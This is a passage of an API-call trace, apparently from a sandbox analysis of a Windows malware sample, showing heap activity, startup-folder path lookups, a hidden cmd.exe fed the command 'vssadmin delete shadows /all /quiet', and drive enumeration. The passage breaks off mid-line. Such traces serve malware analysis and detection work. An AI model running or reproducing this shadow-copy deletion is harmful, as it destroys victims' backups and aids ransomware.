1 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fb550 | out: hHeap=0x5c0000) returned 1 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b558 | out: hHeap=0x5c0000) returned 1 [0181.841] lstrlenW (lpString="%windir%\\System32") returned 17 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6ad0 | out: hHeap=0x5c0000) returned 1 [0181.841] lstrlenW (lpString="%appdata%") returned 9 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d44c0 | out: hHeap=0x5c0000) returned 1 [0181.841] lstrlenW (lpString="%sh(Startup)%") returned 13 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4498 | out: hHeap=0x5c0000) returned 1 [0181.841] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6b18 | out: hHeap=0x5c0000) returned 1 [0181.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.841] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5d4498 [0181.841] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4498, Size=0x40) returned 0x5f6b18 [0181.841] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b18, Size=0x80) returned 0x63b588 [0181.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.841] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5d4498 [0181.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fffc) returned 0x5fb550 [0181.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61b558 [0181.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62b560 [0181.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.841] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5d44c0 [0181.841] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d44c0, Size=0x40) returned 0x5f6b18 [0181.841] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b18, Size=0x80) returned 0x63b610 [0181.841] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b610, Size=0x100) returned 0x5f7cd8 [0181.841] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7cd8 | out: hHeap=0x5c0000) returned 1 [0181.842] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x61b558, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0181.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62b560 | out: hHeap=0x5c0000) returned 1 [0181.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b558 | out: hHeap=0x5c0000) returned 1 [0181.842] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0181.842] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0181.842] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0181.842] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0181.842] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x504, dwThreadId=0x6b0)) returned 1 [0181.850] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0181.851] WriteFile (in: hFile=0xec, lpBuffer=0x63b588*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x63b588*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0181.851] CloseHandle (hObject=0xfc) returned 1 [0181.851] CloseHandle (hObject=0xf8) returned 1 [0181.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fb550 | out: hHeap=0x5c0000) returned 1 [0181.851] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0181.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b588 | out: hHeap=0x5c0000) returned 1 [0181.851] lstrlenW (lpString="%comspec%") returned 9 [0181.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4498 | out: hHeap=0x5c0000) returned 1 [0181.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0181.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4b80 [0181.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5f4b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0181.852] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d48d0 [0181.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5d48d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b98 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b98, Size=0x20) returned 0x5d4498 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4498, Size=0x40) returned 0x5f6b18 [0181.853] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x5f7d50 [0181.853] GetLogicalDrives () returned 0x4 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10014) returned 0x5fb550 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b98 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b98, Size=0x20) returned 0x5d4498 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4498, Size=0x40) returned 0x5f6ba8 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6ba8, Size=0x80) returned 0x63b588 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x5f92c0 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f92c0, Size=0x200) returned 0x5f92c0 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f92c0, Size=0x400) returned 0x5f92c0 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f92c0, Size=0x800) returned 0x5f98d8 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f98d8, Size=0x1000) returned 0x63d570 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x60b570 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b98 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4c70 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4878 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4c88 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4888 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4ca0 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4888, Size=0x8) returned 0x5d4888 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4cb8 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4888, Size=0x10) returned 0x5d4840 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4cd0 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4ce8 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4840, Size=0x20) returned 0x5f7bd8 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4d00 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4888 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4d18 [0181.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4d30 [0181.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f7bd8, Size=0x40) returned 0x5f5400 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4d48 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4d60 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4d78 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4d90 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4da8 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4dc0 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f5448 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4dd8 [0181.854] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5400, Size=0x80) returned 0x5f92c0 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4df0 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4e08 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4e20 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4e38 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f98f0 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9908 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9920 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4840 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9938 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9950 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9968 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9980 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9998 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f99b0 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f99c8 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f99e0 [0181.854] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f92c0, Size=0x100) returned 0x5f92c0 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f99f8 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a10 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a28 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f9a40 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a58 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a70 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4850 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a88 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9aa0 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ab8 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5f7bd8 [0181.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ad0 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ae8 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f7be8 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b00 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b18 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9b30 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b48 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b60 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b78 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f9b90 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ba8 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f9bc0 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9bd8 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9bf0 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c08 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c20 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f7bf8 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c38 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c50 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c68 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c80 [0181.855] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f92c0, Size=0x200) returned 0x5f92c0 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c98 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f5400 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9cb0 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9cf0 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d08 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d20 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d38 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d50 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d68 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d80 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d98 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9db0 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9dc8 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9de0 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9df8 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9e10 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9e28 [0181.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9e40 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9e58 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9e70 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9e88 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ea0 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9eb8 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f5410 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ed0 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ee8 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f00 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f5420 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f18 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9f30 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f48 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f60 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f78 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f90 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9fa8 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9fc0 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9fd8 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9ff0 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa008 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa020 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa038 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5fa050 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa068 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa080 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa098 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa0b0 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa0f0 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa108 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa120 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e590 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x63e5a0 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa138 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa150 [0181.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa480 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa498 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5fa4b0 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62f630 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f648 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f660 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f678 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f690 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62f6a8 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f6c0 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f6d8 [0182.061] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f92c0, Size=0x400) returned 0x62fa18 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f6f0 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f708 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62f720 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f738 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f750 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f768 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62f780 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f798 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f7b0 [0182.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f7c8 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e5e0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f7e0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62f7f8 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f810 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f828 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f840 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f858 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62f870 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f888 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f8a0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f8b8 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f8d0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f8e8 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f900 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f918 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f930 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e5d0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f948 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f960 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f978 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f990 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f9a8 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f9c0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f9d8 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62f9f0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62fe38 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62fe50 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62fe68 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62fe80 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62fe98 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62feb0 [0182.062] RtlAllocateHeap (HeapHandle=0x5c0000, 